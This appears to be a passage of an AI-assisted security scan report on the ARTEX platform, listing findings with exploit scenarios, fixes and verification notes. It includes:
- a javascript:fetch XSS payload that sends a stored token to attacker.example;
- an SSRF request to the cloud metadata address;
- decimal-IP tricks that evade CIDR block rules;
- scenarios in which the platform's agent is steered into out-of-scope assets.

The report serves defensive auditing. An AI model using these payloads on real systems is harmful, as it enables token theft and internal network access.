   - Timing window between add()'s snapshot-unlock and unsubscribe's close
   
   ```
   s.mu.Unlock()
   
   // Async DB write ...
   for _, sub := range subs {
   	select {
   	case sub <- l:
   	default:
   	}
   }
   ```
   
   #### How to fix
   The subscriber set and its channels must be mutated under the same lock that protects sends, or sends must be guarded against close. Change add() to check membership and send while still holding s.mu, and have subscribe()'s unsubscribe close the channel while holding s.mu (after delete), so no goroutine can send to a channel after it is removed/closed. Alternatively route sends through a per-subscriber goroutine that owns the channel and is signalled to exit, avoiding send-after-close entirely.
   
   **Exploitability:** Post-auth race: log fan-out snapshots a subscriber channel then sends after unsubscribe closes it, causing `send on closed channel` and process panic. Requires a subscriber and concurrent unsubscribe; DoS.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 7/10) — `add()` sends to subscriber channels after releasing `s.mu` while `unsubscribe` closes them after releasing `s.mu`; no membership re-check and no `recover()` anywhere in the repo, so an authenticated `GET /api/logs/stream` disconnect concurrent with any log emission can panic the process.
   
   Verified the full chain in code. Summary of what I confirmed:
   
   **Mechanics (confirmed at `server/logsink.go`)**
   - `add()` (130–159): `s.mu.Lock()` → snapshot `subs` at 139–142 → `s.mu.Unlock()` at 143 → non-blocking DB send → bare `case sub <- l` at 155 with no membership/closed re-check.
   - `subscribe()`'s unsubscribe closure (186–193): `s.mu.Lock()` → `delete(s.subs, ch)` → `s.mu.Unlock()` at 190 → `close(ch)` at 191 **outside the lock**.
   - Therefore: T1 snapshots X under lock → T2 deletes X, unlocks, closes X → T1 executes `sub <- l` on the closed X → `send on closed channel` panic. Nothing prevents that ordering.
   
   **No defences found (kill attempts)**
   - No re-check of `s.subs` membership or closed state between lines 143 and 155; `select`/`default` only makes the send non-blocking, it does not make it safe (send on a cl…

22. **[MEDIUM] CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization (Race Condition)** — `selfupdate/bootstrap.go:254` _(Agentic SAST)_ · CVSS 5.9
   Concurrent rollbacks share fixed .swap path, deleting running binary [CVSS 5.9: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H]
   #### Description
   Rollback() uses a fixed temp path `tmp := p.Current + ".swap"` and performs a non-atomic multi-step rename sequence: os.Remove(tmp) (line 256), os.Rename(p.Current, tmp) (line 257), os.Rename(p.Old, p.Current) (line 260), os.Rename(tmp, p.Old) (line 264). There is no process-wide mutex around these file operations. If request R2 reaches line 256 after R1 has already renamed the real executable into tmp, R2's os.Remove(tmp) deletes the just-preserved current binary. R2 then fails its own Rename(p.Current, tmp) because p.Current no longer exists. R1 completes by moving p.Old into p.Current and then fails to move tmp back to p.Old (tmp was deleted), logging only a cosmetic error and returning success. The net effect is the running/current binary is destroyed and the on-disk production file is the old backup, with the rollback bookkeeping inconsistent. The same unsynchronized temp/rename path also races with cleanStaged() called by a concurrent update-apply, which deletes artex.new/.sha256 while Stage is writing them.
   
   #### Impact
   Two authenticated rollback requests arriving close together can delete the currently installed binary and silently downgrade the on-disk executable to the backup, breaking the self-update/rollback state and causing the service to restart as the wrong (old) build.
   
   #### Exploit scenario
   An authenticated user (or a duplicate/replayed request) sends two near-simultaneous `POST /api/update/rollback` calls. R1 moves the current executable to `artex.swap`; R2's `os.Remove("artex.swap")` deletes it, then R2 errors out while R1 finishes by installing the backup as `artex` and losing the swap-back copy. On the next restart the service runs the old binary and the previous real version is gone.
   
   #### Preconditions
   - Attacker has a valid authenticated session (single-user app, but requests can be duplicated/replayed)
   - Two rollback (or rollback+apply) operations overlap in time
   
   ```
   tmp := p.Current + ".swap"
   _ = os.Remove(tmp)
   if err := os.Rename(p.Current, tmp); err != nil { ... }
   if err := os.Rename(p.Old, p.Current); err != nil { ... }
   if err := os.Rename(tmp, p.Old); err != nil { log.Printf(...) }
   ```
   
   #### How to fix
   Mutual exclusion must hold across every self-update file operation. Add a package-level sync.Mutex (or a lock file) guarding Rollback, swap, cleanStaged and marker writes in selfupdate, and use per-operation unique temp names instead of the fixed `p.Current+".swap"` so one operation cannot delete another's temporary file.
   
   **Exploitability:** Post-auth/local race: Rollback uses a fixed `.swap` path with non-atomic rename steps and no mutex. Concurrent rollbacks can delete the just-preserved running binary, leaving the on-disk current binary destroyed and rollback bookkeeping inconsistent. Requires concurrent rollback/update triggers.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 9/10) — `Rollback()` has no mutex and a fixed `.swap` path; two concurrent authenticated rollback requests (guard doesn't cover rollback) reproduce the exact interleaving, destroying the running binary and losing the real version while returning success.
   
   All confirmed. `concMu`/`execMu` are unrelated to the update path. `smokeTest` spawns a process (exec + up to 30s), giving a wide window for two requests to overlap.
   
   **Analysis summary**
   
   **Verified facts:**
   1. `Rollback()` (bootstrap.go:242-269) uses a fixed temp path `p.Current + ".swap"` and a 4-step non-atomic rename sequence with **no mutex** — confirmed no `sync` import in the entire `selfupdate` package.
   2. `updateRollback` (server/update.go:315) guards only on `updHub.snapshot().running`, but **rollback never sets `running`** — so two concurrent rollback POSTs both pass the guard and both enter `Rollback()`. Each HTTP request runs in its own goroutine.
   3. The scanner's interleaving is **exactly reproducible**: R1 renames Current→tmp; R2's `os.Remove(tmp)` deletes the preserved binary; R2's `Rename(Current,tmp)` fails (Cur…

23. **[MEDIUM] CWE-319: Cleartext Transmission of Sensitive Information** — `notify/email.go:82` _(Agentic SAST)_ · CVSS 5.9
   Opportunistic STARTTLS is not enforced; email body can downgrade to cleartext [CVSS 5.9: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N]
   #### Description
   emailChannel.Send reads `tls` via cfgBool (email.go:68, default false). With implicitTLS=false, emailDial does a plaintext TCP connect and Send then does `if ok, _ := client.Extension("STARTTLS"); ok { client.StartTLS(...) }` (lines 83-88). The decision to encrypt rests entirely on the server's EHLO capability list, which a MITM controls; there is no requirement that the session be encrypted before client.Mail/Rcpt/Data (lines 101-118). Because credentials are only sent when username!="", and smtp.PlainAuth aborts on an unencrypted non-localhost link, an anonymous relay (no username) has no protection at all on the body. The switch `implicitTLS` only covers the 465 implicit-TLS case; the 25/587 path is opportunistic and unenforced.
   
   #### Impact
   A network attacker between ARTEX and the SMTP relay can strip STARTTLS from the EHLO response, and the client silently continues the session in cleartext. The base64 HTML body (vulnerability findings, asset names, titles) is then readable on the wire. Credentials are only fail-closed when a username is configured, so anonymous internal relays leak the message content.
   
   #### Exploit scenario
   The operator configures an SMTP channel with `tls:false`, port 25, and no username (a common IP-whitelisted internal relay). An attacker on the SMTP network path intercepts the EHLO reply and deletes the `250-STARTTLS` line; the client sees `Extension("STARTTLS")==false`, keeps the plaintext socket, and streams MAIL/RCPT/DATA containing the base64-encoded findings. The attacker reads every notification message in cleartext.
   
   #### Preconditions
   - implicitTLS (`tls`) not enabled (the code default)
   - SMTP channel has no username configured (or attacker accepts a fail-closed retry when auth is set)
   - Attacker has a MITM position on the SMTP network path
   - The relay requires STARTTLS or supports a capability-stripped downgrade
   
   ```
   if !implicitTLS {
   	if ok, _ := client.Extension("STARTTLS"); ok {
   		if err := client.StartTLS(&tls.Config{ServerName: host, MinVersion: tls.VersionTLS12}); err != nil {
   			return 0, fmt.Errorf("STARTTLS 失败: %w", err)
   		}
   	}
   }
   ```
   
   #### How to fix
   Encryption must be a hard requirement, not opportunistic. In email.go lines 83-89, when `tls` is enabled (or when a username/password is set), require that `client.Extension("STARTTLS")` return true and fail the delivery if it does not, instead of silently continuing in cleartext; alternatively always set a TLS-required policy before client.Data so the body is never written to an unencrypted connection.
   
   **Exploitability:** MITM downgrade: STARTTLS is used only if the server advertises it, with no enforcement before Mail/Rcpt/Data. An on-path attacker can suppress STARTTLS and read cleartext mail content; anonymous relays have no protection.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 6/10) — opportunistic STARTTLS with the capability check's error discarded and no post-handshake encryption assertion; with `username=""` (allowed by Validate) the whole message body crosses an interceptable plaintext socket. Reachable from the notifier dispatcher and the notify API; impact is conditional on a MITM position, so calibrate as low/medium.
   
   I verified the code path end-to-end.
   
   **Code facts (verified):**
   - `notify/email.go:68` — `implicitTLS := cfgBool(cfg, "tls")`; `cfgBool` (channel.go:140-150) returns `false` on any absent/unknown value → default is plaintext.
   - `emailDial` (138-157): `implicitTLS=false` ⇒ bare `d.DialContext(ctx,"tcp",addr)` (line 145), no TLS.
   - Lines 83-89: `if ok, _ := client.Extension("STARTTLS"); ok { StartTLS(...) }` — the only encryption decision on the 25/587 path rests on the *server-supplied* EHLO capability line, with the error discarded (`_`). Nothing later asserts `client.TLSConnectionState()` before `Mail`/`Rcpt`/`Data` (101-118).
   - The only fail-closed guard is `smtp.PlainAuth` at line 91, which aborts on an unencrypted non-localhost link — but it is skipped entir…

24. **[MEDIUM] CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)** — `web/src/app/(main)/function/assets/page.tsx:608` _(Agentic SAST)_ · CVSS 6.1
   Stored XSS via synced asset URL in href [CVSS 6.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N]
   #### Description
   ssIngest takes the service record's URL from the external list_assets response and stores it via UpsertHTTPService with no scheme validation. The assets page later renders that value directly as href={a.url} on an anchor. React escapes text but does not sanitize URL schemes, so javascript:alert(1) becomes a clickable script execution sink. Data flow: ScopeSentry MCP response -> ssPageAll -> ssIngest -> asset store -> Assets page href.
   
   #### Impact
   A malicious or compromised ScopeSentry data source can plant a service URL using the javascript: scheme. When an operator clicks the rendered service link, script runs in the ARTEX origin, can read the localStorage JWT and cookie, and can call authenticated APIs as the operator.
   
   #### Exploit scenario
   Configure ScopeSentry (or compromise the configured MCP) so list_assets returns a service with "url":"javascript:fetch('https://attacker.example/?t='+localStorage.getItem('artex_token'))". Sync the asset and open the Assets -> Services tab. Clicking the link executes the script in the dashboard origin and exfiltrates the stored token.
   
   #### Preconditions
   - Attacker controls or compromises the configured ScopeSentry MCP response
   - An operator runs a sync that ingests the malicious service record
   - An operator clicks the affected service link
   
   ```
   if _, err := as.UpsertHTTPService(db.UpsertHTTPServiceReq{
       URL: it.URL, Technologies: it.Products, StatusCode: it.Status,
       PageTitle: it.Title, FaviconMMH3: it.Icon, IP: it.IP,
   }); err != nil {
   ...
   <a href={a.url} target="_blank" rel="noreferrer" ...>{a.domain || a.url}</a>
   ```
   
   #### How to fix
   Validate/normalize the URL scheme before storing or rendering. Only allow http/https in ssIngest or at the UI boundary, and render javascript:/data: URLs as plain text rather than href targets.
   
   **Exploitability:** Stored XSS chain: ScopeSentry asset URL is stored without scheme validation and later rendered as href, so `javascript:` becomes executable on click. Requires operator interaction with the assets page.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 8/10) — MCP-supplied `url` is stored verbatim (no scheme validation in `ssIngest`/`UpsertHTTPService`/`normalizeURL`) and rendered as `href={a.url}` with no CSP, so `javascript:` executes in the dashboard origin on click.
   
   **Verification summary**
   
   **Sink (confirmed, `web/src/app/(main)/function/assets/page.tsx:608-617`)** — the anchor is rendered only when `a.service_type === "http"` and `a.url` is truthy, with `href={a.url}` and no scheme check anywhere in the file (grep for `javascript:`/`startsWith`/`sanitizeUrl` in `web/src` finds no URL-scheme guard). React 19 escapes the *text* but does not rewrite the *attribute value*, so `javascript:...` reaches the DOM as-is. No CSP is set (`next.config` has no `headers`, `webui_embed.go` sets none), so `javascript:` URIs execute.
   
   **Source (confirmed, `server/sync_scopesentry.go:467-491`)** — `ssIngest` unmarshals the MCP `list_assets` item and passes `it.URL` straight into `UpsertHTTPService` with no scheme validation. `ssPageAll` (line 390-419) takes the raw JSON from `cl.Call(ctx, "list_assets", …)` — i.e. whatever the configured ScopeSentry MCP returns.
   
   **Persistence (confirmed, `db/assets.go:683-779`)** — `UpsertHTTPService` only rejects empty URL; `normalizeURL` (line 164) merely lowercases scheme/host via `url.Parse` and re-serialises, so `javascript:fetch(...)` survives verbatim into `assets.url`. `parseURL` puts `serviceName = "JAVASCRIPT"` but the row is still inserted with `service_type='http'` (hardcoded in the INSERT), so the frontend's `isHttp` gate passes. The read path (`listAssets` → `COALESCE(url,'')`) returns it unchanged.
   
   **Entry point / reachability** — `POST /api/sync/scopesentry/sync` is registered on the JWT-guarded `/api` mux (`server/server.go:876`); the MCP datasource URL is admin-configurable (`/api/sync/scopesentry/datasource`). The attacker is the *remote* MCP server (or anyon…

25. **[MEDIUM] CWE-532: Insertion of Sensitive Information into Log File** — `reset-password.sh:179` _(Agentic SAST)_ · CVSS 5.5
   Full DSN with password printed to stderr [CVSS 5.5: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N]
   #### Description
   At line 167 `target="$DSN"` stores the full DSN, which commonly has the form `postgres://user:[REDACTED-URL-CRED]@host:5432/db`. Line 179 then executes `info "目标数据库：$target"`, printing the full DSN to stderr. The script explicitly supports DSN input from `--dsn`, `ARTEX_PG_DSN`, or a config file, so a normal invocation can leak the credential. This is reachable whenever the operator uses DSN-based configuration and captures output (CI logs, terminal scrollback, redirected logs).
   
   #### Impact
   When the helper is given a DSN that includes the database password, the entire DSN is echoed to stderr. Any user or CI log consumer with read access to the process output obtains the ARTEX PostgreSQL password and can access or overwrite all application data.
   
   #### Exploit scenario
   An operator runs `./reset-password.sh --dsn postgres://artex:[REDACTED-URL-CRED]@db:5432/artex -y`. The script prints `目标数据库：postgres://artex:[REDACTED-URL-CRED]@db:5432/artex` to stderr. A lower-privileged user with access to the CI job log reads `S3cret` and connects directly to the database as `artex`.
   
   #### Preconditions
   - Operator supplies a DSN containing the database password, or ARTEX_PG_DSN/config.dsn contains one
   - A lower-privileged principal can read stderr / captured script logs
   
   ```
   info "目标数据库：$target"
   ```
   
   #### How to fix
   Redact the password before logging: parse the DSN and print only host/db/user, or replace the password component with `***`. Keep the full DSN out of stderr in reset-password.sh:179.
   
   **Exploitability:** Local info leak: reset-password.sh prints the full DSN including password to stderr. Common in CI logs/scrollback when DSN-based configuration is used. Requires local invocation/output capture.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 6/10) — `target="$DSN"` at :168 is unredacted and `info` (:41) writes unconditionally to stderr at :179, so a password-bearing DSN (`--dsn`/`ARTEX_PG_DSN`/`config.dsn`) is printed on every local-mode run; real but low-impact, as the credential is operator-supplied and log readability is an extra precondition.
   
   I verified the code path directly.
   
   **What the code actually does** (confirmed, not from the snippet alone):
   - `reset-password.sh:41` — `info() { echo "· $*" >&2; }`: everything passed to `info` goes to stderr.
   - `reset-password.sh:49` — `--dsn` accepts a full libpq URI; `:153` also takes `$ARTEX_PG_DSN`; `:102`/`:80` take `database.dsn` from `config.json`. So a DSN with an embedded password is a documented, supported input (see the usage example at `:18`).
   - `reset-password.sh:166-168` — when `DSN` is set, `target="$DSN"` verbatim (no redaction anywhere in the file — grep for `redact|mask|***` returns only unrelated lines).
   - `reset-password.sh:179` — `info "目标数据库：$target"` prints it to stderr, and this happens **before** the `-y`/confirmation prompt, i.e. on every local-mode run with DSN config, including `-y` CI invocations.
   
   Note the non-DSN branch (`:176`) formats `target="$USER@$HOST:$PORT/$DBNAME"` — no password — so the leak is specific to the DSN branch, exactly as the scanner claims.
   
   **Attempts to kill the finding (step D):**
   - No redaction helper exists; no `sed` masking of the DSN anywhere.
   - No `set -x` / tracing gate, and `info` is not conditional on a verbose flag — it is unconditional.
   - The leak is not covered by an alternate control: the DSN is later passed to `psql "$DSN"` as argv (`:185`), so the credential is *also* exposed via argv to other local users, which strengthens rather than refutes the exposure.
   - It is a shell-script (deployment/ops) artefact rather than the Go service, but it is an operator-facing production maintenance tool, not test-only.
   
   **Weaknesses in the scanner's framing:** the secret is operator-supplied (local argv/env/config), so an external attacker cannot *inject* it; the impact depends on a second precondition the code cannot guarantee — that stderr/CI logs are readable by a lower-privileged principa…

   Asset blocklist bypass via non-canonical IP URL host [CVSS 5.4: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N]
   #### Description
   insert_assets unmarshals an attacker-influenced item.URL (line 294) and calls assetInterceptCandidates (line 243), which uses url.Parse(...).Hostname() and net.ParseIP only. Non-canonical IPv4 forms like 2130706433 (127.0.0.1), 127.1, or 0177.0.0.1 are not parsed by net.ParseIP, so the host is appended to domains instead of ips. EvaluateAssetGate then runs exact_ip and cidr rules only against the ips slice (db/asset_intercept_match.go:89-98), so a rule such as cidr 127.0.0.0/8 or exact_ip 127.0.0.1 never matches. The gate allows the asset, UpsertHTTPService stores the URL, and enrichment/worker HTTP access can reach the internal address.
   
   #### Impact
   A target-supplied URL such as http://2130706433/ is treated as a domain by the asset gate, so exact-IP and CIDR block rules miss it. The asset is accepted and later fetched/tested, letting the agent reach loopback/internal services despite an out-of-scope block rule.
   
   #### Exploit scenario
   With a block rule of kind=cidr pattern=127.0.0.0/8 configured, an attacker makes the agent call insert_assets with {"assets":[{"type":"service","url":"http://2130706433/"}]}. assetInterceptCandidates classifies 2130706433 as a domain, the CIDR matcher sees no IP candidate, the gate returns Allowed=true, and the service URL is stored. A later HTTP fetch resolves 2130706433 to 127.0.0.1, reaching a loopback-only service.
   
   #### Preconditions
   - An asset interception rule using exact_ip or cidr is configured
   - The agent inserts a service asset from a target-influenced URL
   - The stored asset is later fetched or probed by the platform
   
   ```
   add(&urls, item.URL)
   if item.URL != "" {
   	if u, err := url.Parse(item.URL); err == nil {
   		if h := u.Hostname(); h != "" {
   			if net.ParseIP(h) != nil {
   				add(&ips, h)
   			} else {
   				add(&domains, h)
   			}
   		}
   	}
   }
   ```
   
   #### How to fix
   Normalize URL hosts through a robust IPv4/IPv6 parser that accepts decimal, short, and octal forms (or resolve the host to an IP) before classifying it. Apply both IP and domain rules to the normalized host in assetInterceptCandidates and in Asset.interceptCandidates, and ensure EvaluateAssetGate sees the canonical IP when a block rule is IP-based.
   
   **Exploitability:** Post-auth blocklist bypass: [REDACTED-SECRET] IPv4 forms (e.g. 127.1, 2130706433) are stored as domains rather than IPs, so exact_ip/cidr asset rules never match. Enables internal address insertion and later enrichment/worker access, but requires an authenticated insert path.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 7/10) — `assetInterceptCandidates`/`interceptCandidates` classify non-canonical IPv4 URL hosts (`2130706433`, `127.1`, `0177.0.0.1`) as domains while `net.ParseIP` only accepts canonical literals, so `exact_ip`/`cidr` rules (and `fuzzy_ip`) never see them; both gate entry points share the flaw, `normalizeURL` doesn't canonicalise, and no upstream validator touches the URL host. Downgraded from the scanner's claim because `enrich.ProbeSite/ResolveDomain` have no callers, so the post-store HTTP fetch is the agent's own WebFetch rather than an engine-driven sink.
   
   I verified the code paths.
   
   **What the code actually does**
   
   - `agent/tools_insert.go:18-43` — `assetInterceptCandidates` puts `item.URL`'s `u.Hostname()` into `ips` **only** when `net.ParseIP(h) != nil`, otherwise into `domains`.
   - `net.ParseIP` accepts only canonical dotted-quad / IPv6 literals. `2130706433`, `127.1`, `0177.0.0.1` (and `0x7f.0.0.1`) all return `nil` → they land in `domains`.
   - `db/asset_intercept_match.go:57-62` (`exact_ip`) and `:89-98` (`cidr`) iterate **only** over `ips`; the `cidr` branch additionally re-parses with `net.ParseIP`, so a domain-shaped candidate can never match. `fuzzy_ip` (line 76) also only reads `ips`.
   - `EvaluateAssetGate` (`:185-195`) → `MatchAssetInterceptRules` → `matchOne`; with a `cidr 127.0.0.0/8` (or `exact_ip 127.0.0.1`) block rule and URL `http://2130706433/`, no rule matches → `Allowed: true`.
   - The same…

27. **[MEDIUM] CWE-918: Server-Side Request Forgery (SSRF)** — `server/sync_scopesentry.go:118` _(Agentic SAST)_ · CVSS 5
   ScopeSentry datasource URL enables server-side request forgery [CVSS 5.0: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N]
   #### Description
   syncSSDatasource decodes a caller-supplied URL and stores it directly as the MCP server's m.URL without any host, scheme, or IP-range validation. Later, syncSSStatus, syncSSProjects, syncSSTasks, and syncSSRun all call scopeSentryClient, which passes that stored URL into mcphttp.New, causing the server to connect to the caller-chosen endpoint. The attacker controls both the stored URL and the trigger request, so the trust boundary is crossed from the HTTP API into an arbitrary server-side network connection.
   
   #### Impact
   An authenticated caller can make the ARTEX server issue outbound HTTP requests to arbitrary hosts and ports, including link-local metadata services and internal admin APIs. This is useful for internal network reconnaissance and, if the target speaks a compatible MCP/JSON shape, for reading internal data through the sync endpoints.
   
   #### Exploit scenario
   Send POST /api/sync/scopesentry/datasource with {"url":"http://169.254.169.254/latest/meta-data/","api_key":"x"}, then GET /api/sync/scopesentry/status or /api/sync/scopesentry/projects. The server connects to the link-local address from its own network context. The same technique can scan internal ports or reach an internal MCP server and return its list_projects_data output.
   
   #### Preconditions
   - Valid API session (the default single-user operator login is sufficient)
   - The ScopeSentry MCP row can be created or updated through the API
   
   ```
   body.URL = strings.TrimSpace(body.URL)
   ...
   if body.URL != "" {
       m.URL = body.URL
   }
   ...
   return mcphttp.New(ctx, m.Name, m.URL, jsonStrMap(m.Env), m.Insecure)
   ```
   
   #### How to fix
   Validate the datasource URL before persisting it: allow only http/https, reject loopback/link-local/private targets unless explicitly enabled, and optionally resolve and pin the host. Add the check in syncSSDatasource before m.URL is assigned, and revalidate in scopeSentryClient so DB state cannot bypass it.
   
   **Exploitability:** Post-auth SSRF: ScopeSentry datasource URL is stored without validation and later fetched by MCP sync handlers. Attacker controls both stored URL and trigger, yielding arbitrary server-side connection; scope unchanged limits direct impact.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 7/10) — attacker-supplied URL stored verbatim and dialled server-side by mcphttp.New with no host/scheme/IP guard (unlike notify's blockInternalDial), reachable via authenticated POST /api/sync/scopesentry/datasource and reflected through /status|/projects|/tasks
   
   **Verification**
   
   **A. Call-graph edges validated.** `syncSSDatasource` is registered at `server/server.go:873` as `POST /api/sync/scopesentry/datasource` and, together with `syncSSStatus`/`syncSSProjects`/`syncSSTasks`/`syncSSRun` (lines 872–876), is mounted under `api := cors(s.requireAuth(mux))` (`server.go:938`). So an external HTTP caller reaches it, gated only by the single-user JWT — consistent with the architecture notes. Graph edge to line 58 verified: `scopeSentryClient` → `mcphttp.New(ctx, m.Name, m.URL, …)` at line 58.
   
   **B. What the code actually does.** `server/sync_scopesentry.go:123-141`: `body.URL` is trimmed and assigned verbatim to `m.URL` (line 140) — no `url.Parse`, no scheme check, no `net.ParseIP`/`IsLoopback`/private-range check, no allow-list. Contrast: `notify/http.go:66` has exactly such a guard (`blockInternalDial`, blocking loopback/link-local/multicast) — it is **not** applied in the MCP path.
   
   **C. Walked outward to the sink.** `mcphttp/client.go:99-118` (`New`) builds a plain `&http.Client{Timeout: 120s}` and, without waiting for a second request, calls `c.initialize(ctx)` → `roundTrip` → `c.http.Do(req)` at line 448 against the stored `c.url`. So the dial happens **inside the same datasource POST**, via `discoverAndCacheMCP` (line 158) — the trigger need not be a second request. `Tool()`/`Call()` responses (`client.go:330-353`) are returned as text, and `syncSSProjects`/`syncSSTasks` pass the parsed target J…

28. **[MEDIUM] CWE-400: Uncontrolled Resource Consumption** — `selfupdate/stage.go:191` _(Agentic SAST)_ · CVSS 4.8
   Unbounded release-asset download fills the disk before verification [CVSS 4.8: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H]
   #### Description
   download() streams the HTTP body through io.MultiWriter(f, h, pw) with a plain io.Copy — there is no LimitReader and no check against maxBinarySize (which is only used later in extractBinary). The only size logic, `if a.Size > 0 && pw.written != a.Size`, runs after the entire body has already been written, so an oversized or never-ending response fills the disk before the mismatch is reported. SHA256 verification happens even later, so it provides no bound either. The asset URL is taken from the GitHub release metadata (rel.FindAsset -> asset.URL) and fetched via get(), which validates only scheme/host of the initial URL; nothing caps the number of bytes written to zipPath.
   
   #### Impact
   A release asset that is large (or a chunked response with no natural end) is copied to disk with no byte cap, exhausting the filesystem that also holds the executable and, in the shipped compose layout, the bind-mounted data directory. The service, and any process sharing that volume, can be taken down by a single update.
   
   #### Exploit scenario
   An attacker who can publish (or compromise) the release the instance tracks uploads a multi-GB asset named artex-<ver>-<os>-<arch>.zip, or serves a chunked body of unbounded length, and supplies a matching SHA256SUMS. The operator starts the in-app update; download() writes until the filesystem holding the binary/data volume is full, and the container/Postgres fail.
   
   #### Preconditions
   - Attacker controls or compromises the GitHub release feed for the tracked repo
   - An operator starts the update via the authenticated update endpoint
   - Filesystem holding the executable has less free space than the asset size
   
   ```
   f, err := os.Create(dst)
   ...
   h := sha256.New()
   pw := &progressWriter{total: a.Size, prog: prog, name: a.Name, last: time.Now()}
   if _, err := io.Copy(io.MultiWriter(f, h, pw), body); err != nil {
   	return "", fmt.Errorf("下载中断: %w", err)
   }
   if err := f.Sync(); err != nil {
   	return "", fmt.Errorf("落盘失败: %w", err)
   }
   if a.Size > 0 && pw.written != a.Size {
   	return "", fmt.Errorf("下载不完整：期望 %d 字节，实际 %d 字节", a.Size, pw.written)
   }
   ```
   
   #### How to fix
   Bound the download: wrap the response body in io.LimitReader using an operator-configured or asset.Size-based cap (rejecting bodies larger than a.Size when known) in download() at selfupdate/stage.go:206, so no more bytes than a declared maximum are written before checksum verification.
   
   **Exploitability:** Supply-chain/update DoS: the release-asset download uses io.Copy without LimitReader; size mismatch is checked only after writing. A huge or endless response fills the disk before SHA verification. Requires update trigger and hostile release metadata/channel.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 9/10) — `download()` at stage.go:206 does a bare `io.Copy` with no `LimitReader`; `maxBinarySize` is only enforced in `extractBinary` after the full zip is on disk, and the `a.Size` check runs post-write, so an oversized/chunked asset from a compromised release feed fills the disk before any verification; reachable via JWT-guarded `POST /api/update/apply`.
   
   **Verification**
   
   **A. Call graph validated.** `server/update.go:297` → `selfupdate.Stage` → `stage.go:85` → `download` → `get` → `io.Copy`. All edges confirmed in source. The route `POST /api/update/apply` is registered at `server/server.go:669` and, per the comment at 666–667, goes through the default JWT middleware (only `/api/auth/*` and `/api/health` are exempt). So there is a real external entry point: an authenticated operator triggers it.
   
   **B. The sink is exactly as described.** `stage.go:206` is a bare `io.Copy(io.MultiWriter(f, h, pw), body)` — no `LimitReader`, no size check. `maxBinarySize` (512 MiB, line 22) is referenced *only* at lines 270/274 inside `extractBinary`, i.e. after the whole zip has already landed on disk. The only size logic in `download` is the post-hoc `pw.written != a.Size` comparison at line 212, which fires *after* the body is f…

   Unparenthesized OR in DSL builder bypasses task scope [CVSS 4.3: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N]
   #### Description
   buildLeaf and build wrap each child clause, but the OR node itself is not wrapped in parentheses. buildDSLWhereBase returns a clause such as `(domain ILIKE $1) OR (domain ILIKE $2)`. QueryDSLInScope then appends ` AND id IN (SELECT id FROM target)` (line 584) and QueryDSL appends ` AND type = $N` and ` AND $N = ANY(task_ids)` (lines 526/530). SQL precedence binds AND tighter than OR, so the appended security predicates apply only to the final OR operand. A DSL like `% OR domain=x` causes the first operand to match every asset via the bare-text ILIKE '%%%' branch, while the task scope predicate is attached only to the second branch.
   
   #### Impact
   A caller able to supply a DSL expression can make the generated WHERE clause treat the task/type filters as applying to only the last OR branch. On QueryDSLInScope this returns assets that belong to other tasks, outside the task's declared scope; on QueryDSL/CountDSL it bypasses the task_id and type filters. This lets an agent or API client enumerate and act on out-of-scope assets.
   
   #### Exploit scenario
   An agent in task A calls list_assets with dsl `% OR domain=example.com`. The emitted SQL is `(fulltext-cols ILIKE '%%%' OR ...) OR (domain ILIKE '%example.com%') AND id IN (SELECT id FROM target)`. The first branch matches every asset in the shared library, so the response includes assets outside task A's scope (and type filters are similarly bypassed when set).
   
   #### Preconditions
   - Attacker can invoke the asset DSL query path (authenticated API user or agent tool caller).
   - The query uses QueryDSLInScope or QueryDSL with a task/type filter that relies on the appended AND predicates.
   
   ```
   case "or":
   	parts := make([]string, 0, len(node.children))
   	for _, child := range node.children {
   		clause, err := b.build(child)
   		...
   		parts = append(parts, "("+clause+")")
   	}
   	return strings.Join(parts, " OR "), nil
   
   // later:
   where += " AND id IN (SELECT id FROM target)"
   ```
   
   #### How to fix
   Parenthesize every composite DSL node when returning the SQL fragment, or wrap the whole buildDSLWhereBase result before appending caller-supplied AND conditions. Specifically, in db/asset_dsl.go:291 return `"(" + strings.Join(parts, " OR ") + ")"` for OR nodes (and apply the same discipline to AND), so QueryDSLInScope:584 and QueryDSL:526/530 cannot be captured by a top-level OR branch.
   
   **Exploitability:** Post-auth scope bypass: the DSL OR node is not parenthesized, so appended `AND task_ids`/type predicates bind only to the last OR operand. A crafted DSL can return assets outside task scope; information exposure, not memory corruption.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 8/10) — `build`'s `"or"` node returns `(a) OR (b)` unparenthesised; `QueryDSLInScope`/`QueryDSL`/`CountDSL` append bare `AND id IN (SELECT id FROM target)` / `AND type=$N`, and SQL precedence attaches those predicates to the last OR operand only, so a DSL of `x OR domain=y` (or `% OR …`) escapes task scope via the agent `list_assets` tool and `GET /api/assets`. All four call sites verified in source; impact is limited to intra-tenant cross-task asset exposure.
   
   **Verification**
   
   **1. The sink as cited (`db/asset_dsl.go:282-291`)** — confirmed verbatim. `whereBuilder.build` wraps each *child* in parens (`"("+clause+")"`) and joins them, but the `"or"` node itself returns a bare `"(a) OR (b)"` — no outer parens. The `"and"` node has the identical shape.
   
   **2. Top-level node shape** — `ParseDSL` → `p.parseOr()` (line 242). `parseOr` returns the raw `orNode` when >1 child (line 174), so the top-level clause for `% OR domain=x` is genuinely `(fulltext…) OR (domain ILIKE $N)` with no enclosing group.
   
   **3. The consumers append bare `AND`:**
   
